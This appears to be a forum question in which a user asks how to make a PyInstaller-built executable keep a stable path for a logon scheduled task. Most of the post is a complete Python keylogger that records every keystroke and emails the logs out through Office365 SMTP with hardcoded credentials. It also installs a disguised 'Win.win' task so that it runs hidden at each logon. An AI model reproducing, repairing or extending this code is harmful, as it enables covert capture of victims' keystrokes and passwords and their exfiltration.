Description: "Encountering a dilemma with PyInstaller, my Python script, when converted into an executable, generates temporary files in the user's Temp folder (e.g., C:\Users\willi\AppData\Local\Temp_MEI21202\win.win.py). This poses an issue as the task scheduler picks up the executable from this temporary location, causing complications upon PC restarts. Using the pythonw method, I aim to create an executable that autonomously determines its path and passes it to the scheduled task. This ensures that the executable reliably starts on every system reboot using the correct path from the task.
The challenge involves maintaining the correct path consistently. The script correctly references its source code location (e.g., c:\Users\willi\Desktop\keylogger_teste-Copy\win.win.pyw) when run directly from an environment like Visual Studio Code. However, when converted to an executable, it relies on temporary directories (e.g., C:\Users\willi\AppData\Local\Temp_MEI21202\win.win.py). To address this, the os.path.join(self.script_dir, file) construct is used to determine the script's location, seeking a solution for consistent path referencing when executed as an executable. This is crucial to avoid issues caused by periodic purging of temporary files.
im making the exe file by pyinstaller --onefile win.win.pyw
my code:
import keyboard
import smtplib
from threading import Timer
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import os
import subprocess
import sys
import inspect
class Keylogger:
SEND_REPORT_EVERY = 10000 # 4 hours
def __init__(self, report_method="email"):
self.interval = self.SEND_REPORT_EVERY
self.report_method = report_method
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()
# Get the directory path of the executable
if getattr(sys, 'frozen', False):
# If using PyInstaller, adjust the directory path
if hasattr(sys, '_MEIPASS'):
self.script_dir = os.path.abspath(sys._MEIPASS)
else:
self.script_dir = os.path.dirname(os.path.abspath(sys.executable))
else:
# If running the script directly, get the script's directory
self.script_dir = os.path.dirname(os.path.abspath(__file__))
# Send an email indicating that the process is starting
self.send_start_email()
# Check if the scheduled task already exists
if not self.task_scheduler_exists():
# Install the scheduled task
self.install_task_scheduler()
else:
print("The scheduled task already exists.")
# Start the keylogger
keyboard.on_release(callback=self.callback)
self.report()
print(f"{datetime.now()} - Started keylogger")
keyboard.wait()
def send_start_email(self):
# Send an email indicating that the process is starting
message = "Starting the process"
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, message)
def callback(self, event):
name = event.name
if len(name) > 1:
name = self.handle_special_keys(name)
self.log += name
def handle_special_keys(self, name):
special_keys = {
"space": " ",
"enter": "[ENTER]\n",
"decimal": "."
}
return special_keys.get(name, f"[{name.replace(' ', '_').upper()}]")
def update_filename(self):
start_dt_str = self.format_datetime(self.start_dt)
end_dt_str = self.format_datetime(self.end_dt)
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
def format_datetime(self, dt):
return str(dt)[:-7].replace(" ", "-").replace(":", "")
def report_to_file(self):
with open(os.path.join(self.script_dir, f"{self.filename}.txt"), "w") as f:
f.write(self.log)
print(f"[+] Saved {self.filename}.txt")
def prepare_mail(self, message):
msg = MIMEMultipart("alternative")
msg["From"] = EMAIL_ADDRESS
msg["To"] = EMAIL_ADDRESS
msg["Subject"] = "Keylogger logs"
html = f"<p>{message}</p>"
text_part = MIMEText(message, "plain")
html_part = MIMEText(html, "html")
msg.attach(text_part)
msg.attach(html_part)
return msg.as_string()
def sendmail(self, email, password, message):
try:
server = smtplib.SMTP(host="smtp.office365.com", port=587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, self.prepare_mail(message))
server.quit()
print(f"{datetime.now()} - Sent an email to {email} containing: {message}")
except Exception as e:
print(f"An error occurred while sending email: {e}")
def report(self):
if self.log:
self.end_dt = datetime.now()
self.update_filename()
if self.report_method == "email":
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
print(f"[{self.filename}] - {self.log}")
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
timer.start()
def install_task_scheduler(self):
try:
# Define the command to create the scheduled task
command = [
'schtasks', '/create', '/tn', 'Win.win', '/tr', f'pythonw.exe "{os.path.join(self.script_dir, __file__)}"',
'/sc', 'ONLOGON'
]
# Execute the command
subprocess.run(command, shell=True, check=True)
print("Scheduled task installed successfully.")
except Exception as e:
print(f"Error installing scheduled task: {e}")
def task_scheduler_exists(self):
# Check if the scheduled task already exists
command = ['schtasks', '/query', '/tn', 'Win.win']
result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
return "Win.win" in result.stdout.decode()
if __name__ == "__main__":
EMAIL_ADDRESS = "[email protected]"
EMAIL_PASSWORD = "123bbc456bbc"
# Start the keylogger
keylogger = Keylogger(report_method="email")